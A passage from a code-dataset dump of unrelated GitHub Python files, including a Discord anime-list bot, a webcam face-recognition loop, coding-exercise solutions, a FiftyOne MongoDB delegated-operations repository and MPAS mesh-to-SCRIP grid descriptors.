3))\n","repo_name":"luohaha66/MyCode","sub_path":"python/software_architecture/collectionDemo/deque_demo.py","file_name":"deque_demo.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"24581148110","text":"# -*- coding: utf-8 -*-\n\nimport re\n\n\ndef match_only_one(pattern, text):\n # 进行匹配\n match = re.search(pattern, text)\n\n if match:\n desired_content = match.group(1)\n return desired_content\n else:\n return None\n","repo_name":"zorroliu/p_crawler","sub_path":"util/regular_util.py","file_name":"regular_util.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"73700539286","text":"class Solution(object):\n def maxWidthOfVerticalArea(self, points):\n \"\"\"\n :type points: List[List[int]]\n :rtype: int\n \"\"\"\n points = sorted(points, key=lambda point: point[0])\n width = 0\n\n for i in xrange(1, len(points)):\n width = max(width, points[i][0]-points[i-1][0])\n return width\n","repo_name":"geekben/codeiscool","sub_path":"leetcode/1637.py","file_name":"1637.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"13159690560","text":"# 입력\nn = 5\nstages = [2, 1, 2, 6, 2, 4, 3, 3]\n\n\ndef solution(N, stages):\n # 스테이지별 실패율\n fail_rate_list = []\n\n 현재인원 = len(stages)\n for i in range(N):\n 도전count = stages.count(i+1)\n if 도전count == 0:\n fail = 0\n else:\n fail = 도전count/현재인원\n\n fail_rate_list.append([fail, i+1])\n 현재인원 = 현재인원 - 도전count\n\n fail_rate_list.sort(key=lambda x: (-x[0], x[1]))\n answer = [i[1] for i in fail_rate_list]\n\n return answer\n\n\n# 입력\nN = 5\nstages = [2, 1, 2, 6, 2, 4, 3, 3]\nprint(solution(N, stages))\n","repo_name":"artdumb/CodingTestPrac","sub_path":"CodeUp/63-정렬_실패율.py","file_name":"63-정렬_실패율.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"8985684645","text":"from time import sleep\r\nimport cv2\r\nimport face_recognition\r\nimport os\r\nimport numpy as np\r\n\r\ndef find_face():\r\n images = []\r\n known_face_names = []\r\n mylist = os.listdir(os.path.dirname(os.path.realpath(__file__))+\"\\\\face_storage\")\r\n for cl in mylist:\r\n curImg = cv2.imread(os.path.dirname(os.path.realpath(__file__))+f'\\\\face_storage\\\\{cl}')\r\n images.append(curImg)\r\n known_face_names.append(os.path.splitext(cl)[0])\r\n encodeList = []\r\n for img in images:\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n encoded_face = face_recognition.face_encodings(img)[0]\r\n encodeList.append(encoded_face)\r\n known_face_encodings = encodeList\r\n# Initialize some variables\r\n face_locations = []\r\n face_encodings = []\r\n face_names = []\r\n process_this_frame = True\r\n video_capture = cv2.VideoCapture(0)\r\n\r\n flag_unknown=0\r\n name_count=0\r\n name=\"\"\r\n pos_name=\"\"\r\n\r\n while True:\r\n # Grab a single frame of video\r\n ret, frame = video_capture.read()\r\n\r\n # Only process every other frame of video to save time\r\n if process_this_frame:\r\n # Resize frame of video to 1/4 size for faster face recognition processing\r\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\r\n\r\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\r\n rgb_small_frame = small_frame[:, :, ::-1]\r\n \r\n # Find all the faces and face encodings in the current frame of video\r\n face_locations = face_recognition.face_locations(rgb_small_frame)\r\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\r\n\r\n face_names = []\r\n for face_encoding in face_encodings:\r\n # See if the face is a match for the known face(s)\r\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding,0.5)\r\n name = \"unknown\"\r\n\r\n # # If a match was found in known_face_encodings, just use the first one.\r\n # if True in matches:\r\n # first_match_index = matches.index(True)\r\n # name = known_face_names[first_match_index]\r\n\r\n # Or instead, use the known face with the smallest distance to the new face\r\n face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)\r\n best_match_index = np.argmin(face_distances)\r\n if matches[best_match_index]:\r\n name = known_face_names[best_match_index]\r\n\r\n face_names.append(name)\r\n\r\n process_this_frame = not process_this_frame\r\n \r\n\r\n if (name!=\"unknown\" and name!=\"\") or (name_count<6 and name!=\"\"):\r\n pos_name=name\r\n name_count+=1\r\n return pos_name\r\n\r\n elif flag_unknown>=30 or name_count >=6:\r\n if flag_unknown>=30:\r\n flag_unknown=0\r\n return \"unknown\"\r\n return pos_name\r\n elif flag_unknown<30 and name!=\"\":\r\n flag_unknown+=1\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n video_capture.release()\r\n cv2.destroyAllWindows()\r\n\r\n\r\n","repo_name":"Godizon/Voice-Assistant--V","sub_path":"face_recognizer.py","file_name":"face_recognizer.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"22420534643","text":"import os\nimport sys\nimport re\nimport json\nfrom tqdm import tqdm\nimport language_tool_python\n\n\ndef normalize_sent(sentence: str) -> str:\n sent_normed = re.sub('\\\\s{2,}', ' ', sentence.replace('', ''))\n return re.sub('^\\\\W+', '', sent_normed).strip().capitalize()\n\n\ndef main():\n path_to_dataset_dir = sys.argv[1]\n path_to_input_dir = os.path.join(path_to_dataset_dir, 'extra_lexicons')\n path_to_output_dir = os.path.join(path_to_dataset_dir, 'parallel_corpus_auto')\n\n if not os.path.exists(path_to_output_dir):\n os.mkdir(path_to_output_dir)\n\n checker = language_tool_python.LanguageTool('en-US')\n suffixes = ['anger_w_ep.json', 'happiness_w_ep.json', 'sadness_w_ep.json']\n for filename in os.listdir(path_to_input_dir):\n if filename.split('_', maxsplit=1)[1] in suffixes:\n print('Processing', filename)\n with open(os.path.join(path_to_input_dir, filename), 'r', encoding='utf-8') as jfile:\n data = json.load(jfile)\n\n data_all_good, data_to_check = {}, {}\n for _id, utterance in tqdm(data.items()):\n sent_to_check = normalize_sent(utterance['neutral_sent'])\n\n if not sent_to_check: # if empty string\n utterance['neutral_sent'] = \"\"\n data_to_check.update({_id: utterance})\n else:\n checks = checker.check(sent_to_check)\n if checks:\n utterance['rules'] = []\n for rule in checks:\n utterance['rules'].append(rule.ruleId + ': ' + rule.message)\n utterance['suggested'] = checker.correct(sent_to_check)\n data_to_check.update({_id: utterance})\n else:\n utterance['neutral_sent'] = sent_to_check\n data_all_good.update({_id: utterance})\n\n # save to files:\n data_name = '_'.join(filename.split('_', 2)[:2])\n with open(os.path.join(path_to_output_dir, f'{data_name}.json'), 'w', encoding='utf-8') as jfile:\n json.dump(data_all_good, jfile, indent=4)\n with open(os.path.join(path_to_output_dir, f'{data_name}_to_check.json'), 'w', encoding='utf-8') as jfile:\n json.dump(data_to_check, jfile, indent=4)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"VanHoang85/text-emotionalisation","sub_path":"models/data_utils/language_check.py","file_name":"language_check.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"4465206974","text":"import os\nimport discord\nimport requests\nimport random\nimport time\nfrom replit import db\nfrom datetime import datetime, timedelta\n\nstart_time = 0\n\nmy_secret = os.environ['TOKEN']\n\nclient = discord.Client()\n\ntrigger_words = ['anime', 'waifu', 'watch', 'eventually']\nanime_list = []\nresponses = [\n \"When are you going to get to catching up on your anime?\",\n \"That list is only getting longer and longer...\", \"Catch up already!\",\n \"Stop wasting time and catch up on your anime.\",\n \"Yet again you push it off to the side...\",\n \"I better be your favorite waifu. >:(\"\n]\n\nif \"respond\" not in db.keys():\n db[\"respond\"] = True\n\n\ndef update_ShinobuResponse(s_message):\n if \"shinobu\" in db.keys():\n anime_list = db[\"shinobu\"]\n anime_list.append(s_message)\n db[\"shinobu\"] = anime_list\n else:\n db[\"shinobu\"] = [s_message]\n\n\ndef delete_anime(index):\n anime_list = db[\"shinobu\"]\n if len(anime_list) > index:\n del anime_list[index]\n db[\"shinobu\"] = anime_list\n\n\ndef time_check(sec):\n mins = sec // 60\n sec = sec % 60\n hours = mins // 60\n mins = mins % 60\n return \"{0}:{1}:{2}\".format(int(hours), int(mins), int())\n\n\n@client.event\nasync def on_ready():\n #print('We have logged in as {0.user}'.format(client))\n print(\"Kuki Shinobu, checking in!\")\n\n\n@client.event\nasync def on_message(message):\n msg = message.content\n\n if message.author == client.user:\n return\n\n if db[\"respond\"]:\n options = responses\n #if \"shinobu\" in db.keys():\n # #options = options + db[\"encouragements\"]\n # options.extend(db[\"shinobu\"])\n\n if any(word in msg for word in trigger_words):\n await message.channel.send(random.choice(options))\n anime_list = db[\"shinobu\"]\n if len(anime_list) > 0:\n a = random.randint(1, 20)\n #a = 1\n if a == 1:\n await message.channel.send(\n \"Don't let your anime list get too big.\")\n\n#Commands for the bot\n#This is to add encouragements ↓\n if msg.startswith(\"//new\"):\n s_message = msg.split(\"//new \", 1)[1]\n update_ShinobuResponse(s_message)\n await message.channel.send(\n \"Ok, fine, I'll add another anime to your list.\")\n\n\n#This is to delete encouragements that we have added ↓\n if msg.startswith(\"//del\"):\n anime_list = db[\"shinobu\"]\n if \"shinobu\" in db.keys():\n if len(anime_list) == 0:\n await message.channel.send(\n \"There's nothing to delete, you should know better.\")\n elif len(anime_list) > 0:\n await message.channel.send(\n \"Finally, took you long enough. I was getting bored waiting for you to finish your anime.\"\n )\n index = int(msg.split(\"//del \", 1)[1])\n delete_anime(index)\n anime_list = db[\"shinobu\"]\n\n await message.channel.send(anime_list)\n\n #This is to print out the list of encouragements that we have added ↓\n if msg.startswith(\"//list\"):\n anime_list = []\n if \"shinobu\" in db.keys():\n anime_list = db[\"shinobu\"]\n await message.channel.send(anime_list)\n\n #This is to turn it off and on ↓\n if msg.startswith(\"//respond\"):\n value = msg.split(\"//respond \", 1)[1]\n if value.lower() == \"true\":\n db[\"respond\"] = True\n await message.channel.send(\n \"Better not change your mind about this later.\")\n else:\n db[\"respond\"] = False\n await message.channel.send(\"Fine, I'll be quiet for now.\")\n\nclient.run(my_secret)\n","repo_name":"Minsuhk/Discord-Bot-Anime-List","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"70327599766","text":"import random\nimport time\n\n#Starting Sample Size\nsampleSize = int(input('Enter a sample size: '))\nwhile sampleSize != 0: #runs until user enters 0\n start_time = time.time()\n case = [0, 0, 0]\n for i in range (0, sampleSize): #Runs from 0 to sampleSize-1 (Therefore sampleSize Times)\n randNum = random.randint(0,2) #Chooses random integer {0, 1, or 2}\n if randNum < 1:\n case[0] += 1 #if zero counter\n elif randNum < 2:\n case[1] += 1 #if one counter\n else:\n case[2] += 1 #if two counter\n for j in range (0, len(case)): #iterate over list and print how often each case was hit.\n print (\"Chose case \", (j + 1), \" \", (case[j]/sampleSize*100), \"% of the time.\", sep='')\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n print(' ')\n sampleSize = int(input('Enter a new sample size OR 0 to quit: ')) #Run again or exit with 0\n","repo_name":"robfacella/PyInt","sub_path":"RNG_Testing/RanOneThirdTest.py","file_name":"RanOneThirdTest.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"20271262230","text":"#!/usr/bin/env python3\n\"\"\"\nDense Block\n\"\"\"\nimport tensorflow.keras as K\n\n\ndef dense_block(X, nb_filters, growth_rate, layers):\n \"\"\"\n builds a dense block as described in Densely Connected\n Convolutional Networks\n :param X: is the output from the previous layer\n :param nb_filters: is an integer representing the number of filters in X\n :param growth_rate: is the growth rate for the dense block\n :param layers: is the number of layers in the dense block\n :return: The concatenated output of each layer within the Dense Block and\n the number of filters within the concatenated outputs, respectively\n \"\"\"\n concat = X\n for _ in range(layers):\n batch_normalization_a = K.layers.BatchNormalization()(concat)\n act_a = K.layers.Activation('relu')(batch_normalization_a)\n conv2d_a = K.layers.Conv2D(4 * growth_rate, 1, padding='same',\n kernel_initializer='he_normal')(act_a)\n batch_normalization_b = K.layers.BatchNormalization()(conv2d_a)\n act_b = K.layers.Activation('relu')(batch_normalization_b)\n conv2d_b = K.layers.Conv2D(growth_rate, 3, padding='same',\n kernel_initializer='he_normal')(act_b)\n concat = K.layers.concatenate([concat, conv2d_b])\n\n return concat, concat.shape[-1]\n","repo_name":"julgachancipa/holbertonschool-machine_learning","sub_path":"supervised_learning/0x08-deep_cnns/5-dense_block.py","file_name":"5-dense_block.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"12356093250","text":"from datetime import datetime\nfrom typing import Any, List\n\nfrom bson import ObjectId\nimport pymongo\nfrom pymongo import IndexModel\nfrom pymongo.collection import Collection\n\nimport fiftyone.core.dataset as fod\nfrom fiftyone.factory import DelegatedOperationPagingParams\nfrom fiftyone.factory.repos import DelegatedOperationDocument\nfrom fiftyone.operators.executor import (\n ExecutionResult,\n ExecutionRunState,\n ExecutionProgress,\n)\n\n\nclass DelegatedOperationRepo(object):\n \"\"\"Base Class for a delegated operation repository.\"\"\"\n\n def queue_operation(\n self,\n **kwargs: Any,\n ) -> DelegatedOperationDocument:\n \"\"\"Queue an operation to be executed by a delegated operator.\"\"\"\n raise NotImplementedError(\"subclass must implement queue_operation()\")\n\n def update_run_state(\n self,\n _id: ObjectId,\n run_state: ExecutionRunState,\n result: ExecutionResult = None,\n run_link: str = None,\n progress: ExecutionProgress = None,\n ) -> DelegatedOperationDocument:\n \"\"\"Update the run state of an operation.\"\"\"\n raise NotImplementedError(\"subclass must implement update_run_state()\")\n\n def update_progress(\n self,\n _id: ObjectId,\n progress: ExecutionProgress,\n ) -> DelegatedOperationDocument:\n \"\"\"Update the progress of an operation.\"\"\"\n raise NotImplementedError(\"subclass must implement update_progress()\")\n\n def get_queued_operations(\n self, operator: str = None, dataset_name=None\n ) -> List[DelegatedOperationDocument]:\n \"\"\"Get all queued operations.\"\"\"\n raise NotImplementedError(\n \"subclass must implement get_queued_operations()\"\n )\n\n def list_operations(\n self,\n operator: str = None,\n dataset_name: str = None,\n dataset_id: ObjectId = None,\n run_state: ExecutionRunState = None,\n delegation_target: str = None,\n pinned: bool = None,\n paging: DelegatedOperationPagingParams = None,\n search: dict = None,\n **kwargs: Any,\n ) -> List[DelegatedOperationDocument]:\n \"\"\"List all operations.\"\"\"\n raise NotImplementedError(\"subclass must implement list_operations()\")\n\n def delete_operation(self, _id: ObjectId) -> DelegatedOperationDocument:\n \"\"\"Delete an operation.\"\"\"\n raise NotImplementedError(\"subclass must implement delete_operation()\")\n\n def delete_for_dataset(self, dataset_id: ObjectId):\n \"\"\"Delete an operation.\"\"\"\n raise NotImplementedError(\"subclass must implement delete_operation()\")\n\n def set_pinned(\n self, _id: ObjectId, pinned: bool = True\n ) -> DelegatedOperationDocument:\n \"\"\"Sets the pinned flag on / off.\"\"\"\n raise NotImplementedError(\"subclass must implement set_pinned()\")\n\n def set_label(\n self, _id: ObjectId, label: str\n ) -> DelegatedOperationDocument:\n \"\"\"Sets the label for the delegated operation.\"\"\"\n raise NotImplementedError(\"subclass must implement set_label()\")\n\n def get(self, _id: ObjectId) -> DelegatedOperationDocument:\n \"\"\"Get an operation by id.\"\"\"\n raise NotImplementedError(\"subclass must implement get()\")\n\n def count(self, filters: dict = None, search: dict = None) -> int:\n \"\"\"Count all operations.\"\"\"\n raise NotImplementedError(\"subclass must implement count()\")\n\n\nclass MongoDelegatedOperationRepo(DelegatedOperationRepo):\n COLLECTION_NAME = \"delegated_ops\"\n\n required_props = [\"operator\", \"delegation_target\", \"context\", \"label\"]\n\n def __init__(self, collection: Collection = None):\n self._collection = (\n collection if collection is not None else self._get_collection()\n )\n\n self._create_indexes()\n\n def _get_collection(self) -> Collection:\n import fiftyone.core.odm as foo\n import fiftyone as fo\n\n db_client: pymongo.mongo_client.MongoClient = foo.get_db_client()\n database = db_client[fo.config.database_name]\n return database[self.COLLECTION_NAME]\n\n def _create_indexes(self):\n indices = self._collection.list_indexes()\n index_names = [index[\"name\"] for index in indices]\n indices_to_create = []\n if \"operator_1\" not in index_names:\n indices_to_create.append(\n IndexModel(\n [(\"operator\", pymongo.ASCENDING)], name=\"operator_1\"\n )\n )\n if \"updated_at_1\" not in index_names:\n indices_to_create.append(\n IndexModel(\n [(\"updated_at\", pymongo.ASCENDING)], name=\"updated_at_1\"\n )\n )\n if \"run_state_1\" not in index_names:\n indices_to_create.append(\n IndexModel(\n [(\"run_state\", pymongo.ASCENDING)], name=\"run_state_1\"\n )\n )\n\n if indices_to_create:\n self._collection.create_indexes(indices_to_create)\n\n def queue_operation(self, **kwargs: Any) -> DelegatedOperationDocument:\n op = DelegatedOperationDocument()\n for prop in self.required_props:\n if prop not in kwargs:\n raise ValueError(\"Missing required property '%s'\" % prop)\n setattr(op, prop, kwargs.get(prop))\n\n dataset_name = None\n if isinstance(op.context, dict):\n dataset_name = op.context.get(\"request_params\", {}).get(\n \"dataset_name\"\n )\n elif \"dataset_name\" in op.context.request_params:\n dataset_name = op.context.request_params[\"dataset_name\"]\n\n if dataset_name and not op.dataset_id:\n dataset = fod.load_dataset(dataset_name)\n op.dataset_id = dataset._doc.id\n\n doc = self._collection.insert_one(op.to_pymongo())\n op.id = doc.inserted_id\n return DelegatedOperationDocument().from_pymongo(op.__dict__)\n\n def set_pinned(\n self, _id: ObjectId, pinned: bool = True\n ) -> DelegatedOperationDocument:\n doc = self._collection.find_one_and_update(\n filter={\"_id\": _id},\n update={\"$set\": {\"pinned\": pinned}},\n return_document=pymongo.ReturnDocument.AFTER,\n )\n return DelegatedOperationDocument().from_pymongo(doc)\n\n def set_label(\n self, _id: ObjectId, label: str\n ) -> DelegatedOperationDocument:\n doc = self._collection.find_one_and_update(\n filter={\"_id\": _id},\n update={\"$set\": {\"label\": label}},\n return_document=pymongo.ReturnDocument.AFTER,\n )\n return DelegatedOperationDocument().from_pymongo(doc)\n\n def update_run_state(\n self,\n _id: ObjectId,\n run_state: ExecutionRunState,\n result: ExecutionResult = None,\n run_link: str = None,\n progress: ExecutionProgress = None,\n ) -> DelegatedOperationDocument:\n update = None\n\n execution_result = result\n if result is not None and not isinstance(result, ExecutionResult):\n execution_result = ExecutionResult(result=result)\n\n if run_state == ExecutionRunState.COMPLETED:\n update = {\n \"$set\": {\n \"run_state\": run_state,\n \"completed_at\": datetime.utcnow(),\n \"updated_at\": datetime.utcnow(),\n \"result\": execution_result.to_json()\n if execution_result\n else None,\n }\n }\n elif run_state == ExecutionRunState.FAILED:\n update = {\n \"$set\": {\n \"run_state\": run_state,\n \"failed_at\": datetime.utcnow(),\n \"updated_at\": datetime.utcnow(),\n \"result\": execution_result.to_json()\n if execution_result\n else None,\n }\n }\n elif run_state == ExecutionRunState.RUNNING:\n update = {\n \"$set\": {\n \"run_state\": run_state,\n \"started_at\": datetime.utcnow(),\n \"updated_at\": datetime.utcnow(),\n }\n }\n\n if run_link is not None:\n update[\"$set\"][\"run_link\"] = run_link\n\n if update is None:\n raise ValueError(\"Invalid run_state: {}\".format(run_state))\n\n if progress is not None:\n update[\"$set\"][\"status\"] = progress\n update[\"$set\"][\"status\"][\"updated_at\"] = datetime.utcnow()\n\n doc = self._collection.find_one_and_update(\n filter={\"_id\": _id},\n update=update,\n return_document=pymongo.ReturnDocument.AFTER,\n )\n\n return DelegatedOperationDocument().from_pymongo(doc)\n\n def update_progress(\n self,\n _id: ObjectId,\n progress: ExecutionProgress,\n ) -> DelegatedOperationDocument:\n execution_progress = progress\n if not isinstance(progress, ExecutionProgress):\n if isinstance(progress, dict):\n execution_progress = ExecutionProgress(**progress)\n else:\n raise ValueError(\"Invalid progress: {}\".format(progress))\n\n if not execution_progress or (\n execution_progress.progress is None\n and not execution_progress.label\n ):\n raise ValueError(\"Invalid progress: {}\".format(execution_progress))\n\n update = {\n \"$set\": {\n \"status\": {\n \"progress\": execution_progress.progress,\n \"label\": execution_progress.label,\n \"updated_at\": datetime.utcnow(),\n },\n }\n }\n\n doc = self._collection.find_one_and_update(\n filter={\"_id\": _id},\n update=update,\n return_document=pymongo.ReturnDocument.AFTER,\n )\n\n return DelegatedOperationDocument().from_pymongo(doc)\n\n def get_queued_operations(\n self,\n operator: str = None,\n dataset_name: ObjectId = None,\n ) -> List[DelegatedOperationDocument]:\n return self.list_operations(\n operator=operator,\n dataset_name=dataset_name,\n run_state=ExecutionRunState.QUEUED,\n )\n\n def list_operations(\n self,\n operator: str = None,\n dataset_name: str = None,\n dataset_id: ObjectId = None,\n run_state: ExecutionRunState = None,\n delegation_target: str = None,\n pinned: bool = None,\n paging: DelegatedOperationPagingParams = None,\n search: dict = None,\n **kwargs: Any,\n ) -> List[DelegatedOperationDocument]:\n query = {}\n if operator:\n query[\"operator\"] = operator\n if pinned is not None:\n query[\"pinned\"] = pinned\n if dataset_name:\n query[\"context.request_params.dataset_name\"] = dataset_name\n if run_state:\n query[\"run_state\"] = run_state\n if delegation_target:\n query[\"delegation_target\"] = delegation_target\n if dataset_id:\n query[\"dataset_id\"] = dataset_id\n\n for arg in kwargs:\n query[arg] = kwargs[arg]\n\n if paging is None:\n # force a limit of 1000 if no paging supplied\n paging = DelegatedOperationPagingParams(limit=1000)\n elif isinstance(paging, dict):\n paging = DelegatedOperationPagingParams(**paging)\n\n if search:\n for term in search:\n for field in search[term]:\n if field not in (\"operator\", \"delegated_operation\"):\n raise ValueError(\n \"Invalid search field: {}\".format(field)\n )\n query[field] = {\"$regex\": term}\n\n docs = self._collection.find(query)\n if paging.sort_by:\n docs = docs.sort(paging.sort_by, paging.sort_direction)\n if paging.skip:\n docs = docs.skip(paging.skip)\n if paging.limit:\n docs = docs.limit(paging.limit)\n\n return [DelegatedOperationDocument().from_pymongo(doc) for doc in docs]\n\n def delete_operation(self, _id: ObjectId) -> DelegatedOperationDocument:\n doc = self._collection.find_one_and_delete(\n filter={\"_id\": _id}, return_document=pymongo.ReturnDocument.BEFORE\n )\n if doc:\n return DelegatedOperationDocument().from_pymongo(doc)\n\n def delete_for_dataset(self, dataset_id: ObjectId):\n self._collection.delete_many(filter={\"dataset_id\": dataset_id})\n\n def get(self, _id: ObjectId) -> DelegatedOperationDocument:\n doc = self._collection.find_one(filter={\"_id\": _id})\n return DelegatedOperationDocument().from_pymongo(doc)\n\n def count(self, filters: dict = None, search: dict = None) -> int:\n if filters is None and search is not None:\n filters = {}\n if search:\n for term in search:\n for field in search[term]:\n if field not in (\"operator\", \"delegated_operation\"):\n raise ValueError(\n \"Invalid search field: {}\".format(field)\n )\n filters[field] = {\"$regex\": term}\n\n return self._collection.count_documents(filter=filters)\n","repo_name":"voxel51/fiftyone","sub_path":"fiftyone/factory/repos/delegated_operation.py","file_name":"delegated_operation.py","file_ext":"py","file_size_in_byte":13396,"program_lang":"python","lang":"en","doc_type":"code","stars":5416,"dataset":"github-code","pt":"30"} +{"seq_id":"22230991862","text":"'''\nClasses for describing meshes and grids , including creating SCRIP files,\nused to create mapping files\n\nClasses\n-------\nMpasMeshDescriptor - describes an MPAS mesh\n\nLatLonGridDescriptor - describes a lat-lon grid\n\nProjectionGridDescriptor - describes a logically rectangular grid on a pyproj\n projection\n\nAuthor\n------\nXylar Asay-Davis\n'''\n\nimport netCDF4\nimport numpy\nimport sys\nimport pyproj\nimport xarray\n\n\nclass MeshDescriptor(object): # {{{\n '''\n A class for describing a mesh\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n def __init__(self): # {{{\n '''\n Constructor creates a common ``meshName`` member variable, ``None`` by\n default. Each Subclass should define or use input arguments to set\n ``meshName`` to a short description of the mesh or grid.\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n self.meshName = None # }}}\n\n def to_scrip(self, scripFileName): # {{{\n '''\n Subclasses should overload this method to write a SCRIP file based on\n the mesh.\n\n Parameters\n ----------\n scripFileName : str\n The path to which the SCRIP file should be written\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n\n return # }}}\n\n # }}}\n\n\nclass MpasMeshDescriptor(MeshDescriptor): # {{{\n '''\n A class for describing an MPAS mesh\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n def __init__(self, fileName, meshName=None): # {{{\n '''\n Constructor stores the file name\n\n Parameters\n ----------\n fileName : str\n The path of the file containing the MPAS mesh\n\n meshName : str, optional\n The name of the MPAS mesh (e.g. ``'oEC60to30'`` or\n ``'oRRS18to6'``). If not provided, the data set in ``fileName``\n must have a global attribute ``meshName`` that will be used\n instead.\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n ds = xarray.open_dataset(fileName)\n\n if meshName is None:\n if 'meshName' not in ds.attrs:\n raise ValueError('No meshName provided or found in file.')\n self.meshName = ds.attrs['meshName']\n else:\n self.meshName = meshName\n\n self.fileName = fileName\n self.regional = True\n\n # build coords\n self.coords = {'latCell': {'dims': 'nCells',\n 'data': ds.latCell.values,\n 'attrs': {'units': 'radians'}},\n 'lonCell': {'dims': 'nCells',\n 'data': ds.lonCell.values,\n 'attrs': {'units': 'radians'}}}\n self.dims = ['nCells']\n self.dimSize = [ds.dims[dim] for dim in self.dims]\n ds.close() # }}}\n\n def to_scrip(self, scripFileName): # {{{\n '''\n Given an MPAS mesh file, create a SCRIP file based on the mesh.\n\n Parameters\n ----------\n scripFileName : str\n The path to which the SCRIP file should be written\n\n Authors\n ------\n Xylar Asay-Davis\n '''\n self.scripFileName = scripFileName\n\n inFile = netCDF4.Dataset(self.fileName, 'r')\n outFile = netCDF4.Dataset(scripFileName, 'w')\n\n # Get info from input file\n latCell = inFile.variables['latCell'][:]\n lonCell = inFile.variables['lonCell'][:]\n latVertex = inFile.variables['latVertex'][:]\n lonVertex = inFile.variables['lonVertex'][:]\n verticesOnCell = inFile.variables['verticesOnCell'][:]\n nEdgesOnCell = inFile.variables['nEdgesOnCell'][:]\n nCells = len(inFile.dimensions['nCells'])\n maxVertices = len(inFile.dimensions['maxEdges'])\n areaCell = inFile.variables['areaCell'][:]\n sphereRadius = float(inFile.sphere_radius)\n\n _create_scrip(outFile, grid_size=nCells, grid_corners=maxVertices,\n grid_rank=1, units='radians', meshName=self.meshName)\n\n grid_area = outFile.createVariable('grid_area', 'f8', ('grid_size',))\n grid_area.units = 'radian^2'\n # SCRIP uses square radians\n grid_area[:] = areaCell[:] / (sphereRadius**2)\n\n outFile.variables['grid_center_lat'][:] = latCell[:]\n outFile.variables['grid_center_lon'][:] = lonCell[:]\n outFile.variables['grid_dims'][:] = nCells\n outFile.variables['grid_imask'][:] = 1\n\n # grid corners:\n grid_corner_lon = numpy.zeros((nCells, maxVertices))\n grid_corner_lat = numpy.zeros((nCells, maxVertices))\n for iVertex in range(maxVertices):\n cellIndices = numpy.arange(nCells)\n # repeat the last vertex wherever iVertex > nEdgesOnCell\n localVertexIndices = numpy.minimum(nEdgesOnCell-1, iVertex)\n vertexIndices = verticesOnCell[cellIndices, localVertexIndices] - 1\n grid_corner_lat[cellIndices, iVertex] = latVertex[vertexIndices]\n grid_corner_lon[cellIndices, iVertex] = lonVertex[vertexIndices]\n\n outFile.variables['grid_corner_lat'][:] = grid_corner_lat[:]\n outFile.variables['grid_corner_lon'][:] = grid_corner_lon[:]\n\n # Update history attribute of netCDF file\n if hasattr(inFile, 'history'):\n newhist = '\\n'.join([getattr(inFile, 'history'),\n ' '.join(sys.argv[:])])\n else:\n newhist = sys.argv[:]\n setattr(outFile, 'history', newhist)\n\n inFile.close()\n outFile.close() # }}}\n# }}}\n\n\nclass LatLonGridDescriptor(MeshDescriptor): # {{{\n '''\n A class for describing a lat-lon grid\n\n Author\n ------\n Xylar Asay-Davis\n '''\n def __init__(self): # {{{\n '''\n Constructor stores the file name\n\n Parameters\n ----------\n fileName : str\n The path of the file containing the MPAS mesh\n\n Author\n ------\n Xylar Asay-Davis\n '''\n self.regional = False\n self.meshName = None # }}}\n\n def read(self, fileName, latVarName='lat', lonVarName='lon'): # {{{\n '''\n Read the lat-lon grid from a file with the given lat/lon var names.\n\n Parameters\n ----------\n fileName : str\n The path of the file containing the lat-lon grid\n\n latVarName, lonVarName : str, optional\n The name of the latitude and longitude variables in the grid file\n\n Author\n ------\n Xylar Asay-Davis\n '''\n ds = xarray.open_dataset(fileName)\n\n if self.meshName is None and 'meshName' in ds.attrs:\n self.meshName = ds.attrs['meshName']\n\n # Get info from input file\n self.lat = numpy.array(ds[latVarName].values, float)\n self.lon = numpy.array(ds[lonVarName].values, float)\n if 'degree' in ds[latVarName].units:\n self.units = 'degrees'\n else:\n self.units = 'radians'\n\n self._set_coords(latVarName, lonVarName, ds[latVarName].dims[0],\n ds[lonVarName].dims[0])\n\n # interp/extrap corners\n self.lonCorner = _interp_extrap_corner(self.lon)\n self.latCorner = _interp_extrap_corner(self.lat)\n\n if 'history' in ds.attrs:\n self.history = '\\n'.join([ds.attrs['history'],\n ' '.join(sys.argv[:])])\n else:\n self.history = sys.argv[:] # }}}\n\n def create(self, latCorner, lonCorner, units='degrees'): # {{{\n '''\n Create the lat-lon grid with the given arrays and units.\n\n Parameters\n ----------\n latCorner, lonCorner : 1D numpy.arrays\n One dimensional arrays defining the latitude and longitude\n coordinates of grid corners.\n\n units : {'degrees', 'radians'}, optional\n The units of `latCorner` and `lonCorner`\n\n Author\n ------\n Xylar Asay-Davis\n '''\n\n self.latCorner = latCorner\n 